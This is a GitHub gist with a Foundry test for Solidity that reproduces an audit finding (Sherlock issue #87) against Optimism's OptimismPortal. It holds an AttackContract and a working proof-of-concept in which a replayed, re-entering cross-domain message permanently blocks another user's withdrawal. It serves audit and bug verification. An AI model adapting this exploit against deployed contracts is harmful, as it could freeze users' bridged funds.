Created
February 15, 2023 23:32
-
-
Save clabby/018c8d64bff35da767a5a80e1f6d871d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.15; | |
import {Types} from "../libraries/Types.sol"; | |
import {Messenger_Initializer} from "./CommonTest.t.sol"; | |
/// @notice OptimismPortal minimal interface | |
interface IOptimismPortal { | |
function finalizeWithdrawalTransaction(Types.WithdrawalTransaction memory _tx) external; | |
} | |
/// @notice Attacker | |
contract AttackContract { | |
bool public donotRevert; | |
bytes metaData; | |
address optimismPortalAddress; | |
constructor(address _optimismPortal) { | |
optimismPortalAddress = _optimismPortal; | |
} | |
function disableRevert() public { | |
donotRevert = true; | |
} | |
function setMetaData(Types.WithdrawalTransaction memory _tx) public { | |
metaData = abi.encodeWithSelector(IOptimismPortal.finalizeWithdrawalTransaction.selector, _tx); | |
} | |
function attack() public { | |
if (donotRevert) { | |
optimismPortalAddress.call(metaData); | |
} else { | |
revert(); | |
} | |
} | |
} | |
/// @notice Test for Sherlock issue #87 | |
/// @dev https://github.com/ethereum-optimism/2023-01-optimism-judging/blob/main/0-system-findings/0-unprocessed/solidity/finalizeWithdrawalTransaction/087.md | |
contract OptimismPortal_Sherlock87_Test is Messenger_Initializer { | |
/// @notice Emitted when a withdrawal is proven successfully. | |
event WithdrawalProven(bytes32 indexed withdrawalHash, address indexed from, address indexed to); | |
/// @notice An attacker contract | |
AttackContract attacker; | |
/// @notice Set up the test state (ripped from OptimismPortal tests) | |
function setUp() public override { | |
super.setUp(); | |
attacker = new AttackContract(address(op)); | |
vm.deal(address(op), 0xFFFFFFFF); | |
} | |
/// @notice Tests whether or not the `finalizeWithdrawalTransaction` function can be called successfully with an amount of gas | |
/// that is **less** than the amount of gas needed to execute the withdrawal transaction. | |
function test_finalizeWithdrawalTransaction_gasTooLowBrick_succeeds() public { | |
// Relay bob's message from L2 to the L1CrossDomainMessenger | |
bytes memory attackMessage = abi.encodeWithSelector( | |
L1Messenger.relayMessage.selector, | |
0, // nonce | |
bob, // sender | |
address(attacker), // target, | |
0, // value | |
1_000_000, // min gas limit | |
abi.encodeWithSelector(attacker.attack.selector) // data | |
); | |
Types.WithdrawalTransaction memory attackTx = Types.WithdrawalTransaction({ | |
nonce: 0, | |
sender: address(L2Messenger), | |
target: address(L1Messenger), | |
value: 0, | |
gasLimit: 1_000_000, | |
data: attackMessage | |
}); | |
( | |
bytes32 attackStateRoot, | |
bytes32 attackStorageRoot, | |
bytes32 attackOutputRoot, | |
bytes32 attackWithdrawalHash, | |
bytes[] memory attackWithdrawalProof | |
) = ffi.getProveWithdrawalTransactionInputs(attackTx); | |
// Create a dummy output root proof for the attack transaction. | |
Types.OutputRootProof memory attackOutputProof = Types.OutputRootProof({ | |
version: bytes32(uint256(0)), | |
stateRoot: attackStateRoot, | |
messagePasserStorageRoot: attackStorageRoot, | |
latestBlockhash: bytes32(uint256(0)) | |
}); | |
uint256 _proposedBlockNumber = oracle.nextBlockNumber(); | |
uint256 _proposedOutputIndex = oracle.nextOutputIndex(); | |
// Configure the oracle to return the output root we've prepared. | |
vm.warp(oracle.computeL2Timestamp(_proposedBlockNumber) + 1); | |
vm.prank(oracle.PROPOSER()); | |
oracle.proposeL2Output(attackOutputRoot, _proposedBlockNumber, 0, 0); | |
vm.expectEmit(true, true, true, true); | |
emit WithdrawalProven(attackWithdrawalHash, address(L2Messenger), address(L1Messenger)); | |
op.proveWithdrawalTransaction(attackTx, _proposedOutputIndex, attackOutputProof, attackWithdrawalProof); | |
// Warp past the finalization period for the attacker | |
vm.warp(block.timestamp + op.FINALIZATION_PERIOD_SECONDS() + 1); | |
// Attempt to finalize the attacker's withdrawal transaction. The call to `attack()` will revert, but the transaction | |
// will be marked as finalized in the OptimismPortal. However, in the L1CrossDomainMessenger, the transaction will | |
// be added to the `failedMessages` mapping. | |
vm.expectEmit(true, true, false, true); | |
emit WithdrawalFinalized(attackWithdrawalHash, true); | |
op.finalizeWithdrawalTransaction(attackTx); | |
// Set up alice's honest withdrawal transaction | |
bytes memory aliceMessage = abi.encodeWithSelector( | |
L1Messenger.relayMessage.selector, | |
0, // nonce | |
alice, // sender | |
address(0xbeef), // target, | |
100, // value | |
1_000_000, // min gas limit | |
hex"" // data | |
); | |
Types.WithdrawalTransaction memory aliceTx = Types.WithdrawalTransaction({ | |
nonce: 0, | |
sender: address(L2Messenger), | |
target: address(L1Messenger), | |
value: 100, | |
gasLimit: 1_000_000, | |
data: aliceMessage | |
}); | |
( | |
bytes32 aliceStateRoot, | |
bytes32 aliceStorageRoot, | |
bytes32 aliceOutputRoot, | |
bytes32 aliceWithdrawalHash, | |
bytes[] memory aliceWithdrawalProof | |
) = ffi.getProveWithdrawalTransactionInputs(aliceTx); | |
// Create a dummy output root proof for the alice's transaction. | |
Types.OutputRootProof memory aliceOutputProof = Types.OutputRootProof({ | |
version: bytes32(uint256(0)), | |
stateRoot: aliceStateRoot, | |
messagePasserStorageRoot: aliceStorageRoot, | |
latestBlockhash: bytes32(uint256(0)) | |
}); | |
_proposedBlockNumber = oracle.nextBlockNumber(); | |
_proposedOutputIndex = oracle.nextOutputIndex(); | |
// Configure the oracle to return the output root we've prepared. | |
vm.warp(oracle.computeL2Timestamp(_proposedBlockNumber) + 1); | |
vm.prank(oracle.PROPOSER()); | |
oracle.proposeL2Output(aliceOutputRoot, _proposedBlockNumber, 0, 0); | |
// Prove alice's honest transaction. | |
vm.expectEmit(true, true, true, true); | |
emit WithdrawalProven(aliceWithdrawalHash, address(L2Messenger), address(L1Messenger)); | |
op.proveWithdrawalTransaction(aliceTx, _proposedOutputIndex, aliceOutputProof, aliceWithdrawalProof); | |
// Warp past the finalization period for alice's transaction. | |
vm.warp(block.timestamp + op.FINALIZATION_PERIOD_SECONDS() + 1); | |
// Set up for our attack on alice's transaction. | |
attacker.disableRevert(); | |
attacker.setMetaData(aliceTx); | |
// Attempt to replay bob's failed message AS bob | |
// This will now attempt to finalize alice's transaction, which will fail due to the | |
// reentrancy guard on the L1CrossDomainMessenger! | |
vm.expectEmit(true, true, false, true); | |
emit WithdrawalFinalized(aliceWithdrawalHash, false); | |
vm.prank(address(bob)); | |
L1Messenger.relayMessage( | |
0, // nonce | |
bob, // sender | |
address(attacker), // target | |
0, // value | |
1_000_000, // min gas limit | |
abi.encodeWithSelector(attacker.attack.selector) // data | |
); | |
// Attempt to finalize alice's transaction. This *will fail* due to bob's attack using the reentrancy guard. | |
// hoooooly shit | |
vm.expectRevert("OptimismPortal: withdrawal has already been finalized"); | |
op.finalizeWithdrawalTransaction(aliceTx); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment